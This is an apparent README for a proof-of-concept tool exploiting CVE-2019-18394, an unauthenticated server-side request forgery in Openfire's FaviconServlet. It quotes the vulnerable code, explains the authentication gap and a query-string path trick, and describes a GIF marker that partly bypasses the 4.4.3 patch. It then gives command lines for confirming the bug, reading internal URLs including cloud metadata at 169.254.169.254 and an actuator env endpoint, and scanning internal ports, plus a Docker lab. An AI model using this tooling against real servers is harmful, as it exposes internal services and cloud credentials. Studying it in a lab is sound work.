
PoC para CVE-2019-18394: SSRF de lectura completa no autenticado en Openfire <= 4.4.2 FaviconServlet
Server-Side Request Forgery no autenticado en Ignite Realtime Openfire 4.4.2 y anteriores (consola de administración, TCP 9090/9091 por defecto). Corregido en 4.4.3 (issue OF-1885).
host se concatena en una URL de salida sin
validación, por lo que el servidor emite un HTTP GET elegido por el atacante./getFavicon no está detrás del AuthCheckFilter de la consola de
administración y responde incluso mientras el servidor sigue en su estado de configuración
inicial no configurado.Solo pruebas autorizadas. Todo lo aquí descrito apunta a un laboratorio local que tú mismo levantas.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
Sin autenticación. En xmppserver/src/main/webapp/WEB-INF/web.xml el filtro AuthCheck
está mapeado solo a *.jsp, PluginServlet y dwr-invoker. FaviconServlet está mapeado a la
ruta simple /getFavicon, por lo que no se ejecuta ningún filtro de autenticación para él.
Ruta arbitraria, no solo host arbitrario. El código fija el sufijo /favicon.ico.
Terminar host con una cadena de consulta empuja ese sufijo a un valor de parámetro:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
El esquema está fijado a http://. Los objetivos https:// no son alcanzables directamente,
pero el cliente del servlet usa LaxRedirectStrategy, así que un endpoint http que redirija
con 302 hacia adelante sí lo es.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() es ImageIO.read(bytes) != null, una comprobación de contenido, no de
destino. Dos cosas sobreviven al parche:
/images/server_16x16.gif no se usa como
línea base: un servidor que no logró cargarlo en la inicialización devuelve un cuerpo de fallo
vacío en su lugar, y comparar los dos da resultados erróneos.200 mientras que una ruta
hermana no mapeada responde 404, lo que separa un mapeo real de FaviconServlet de un
catch-all.FaviconServlet cachea aciertos y fallos con clave en el host bruto y corta el circuito
tras dos fallos. La herramienta añade un cb= único como cache-buster a cada sonda para que
las ejecuciones repetidas no reciban resultados obsoletos.Biblioteca estándar de Python 3, sin dependencias.
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
Flags: --callback-host (dirección a la que el objetivo llama de vuelta), --listen-bind /
--listen-port (listener local), --marker-format gif (devuelve contenido analizable como
imagen que pasa la puerta isImage() de 4.4.3), --proxy, --json.
Códigos de salida: 0 ok, 1 hallazgo, 2 error o no vulnerable, 3 no concluyente.
Configuración Docker diferencial: 4.4.2 vulnerable (consola en :9090), 4.4.3 parcheado (en
:9092), y un servicio solo interno que el host no puede alcanzar directamente.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
El nginx interno no tiene mapeo de puerto en el host, por lo que una petición directa desde el
host devuelve HTTP 000, pero Openfire puede alcanzarlo. Leer su SECRET_FLAG demuestra que la
petición cruzó la frontera de confianza. En Docker Desktop el objetivo alcanza tu listener vía
host.docker.internal (pásalo a --callback-host). En Docker nativo de Linux, usa la IP de
puerta de enlace docker0 u omite --callback-host para autodetectarla.
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
Cada callback llegó con User-Agent: Apache-HttpClient/... (Java/...), lo que confirma que la
petición vino del propio cliente HTTP de Openfire, no de la herramienta.
| Objetivo | Marcador | Callback | Cuerpo divulgado | Veredicto | Salida |
|---|---|---|---|---|---|
| 4.4.2 (vuln) | text | yes | yes, verbatim | VULNERABLE (unpatched) | 1 |
| 4.4.3 (patched) | text | yes | no, withheld by isImage() | PARTIALLY_MITIGATED (blind SSRF) | 1 |
| 4.4.3 (patched) | gif | yes | yes, image + trailing text | VULNERABLE full-read (see note) | 1 |
| non-Openfire (nginx) | n/a | n/a | n/a | endpoint absent | 2 |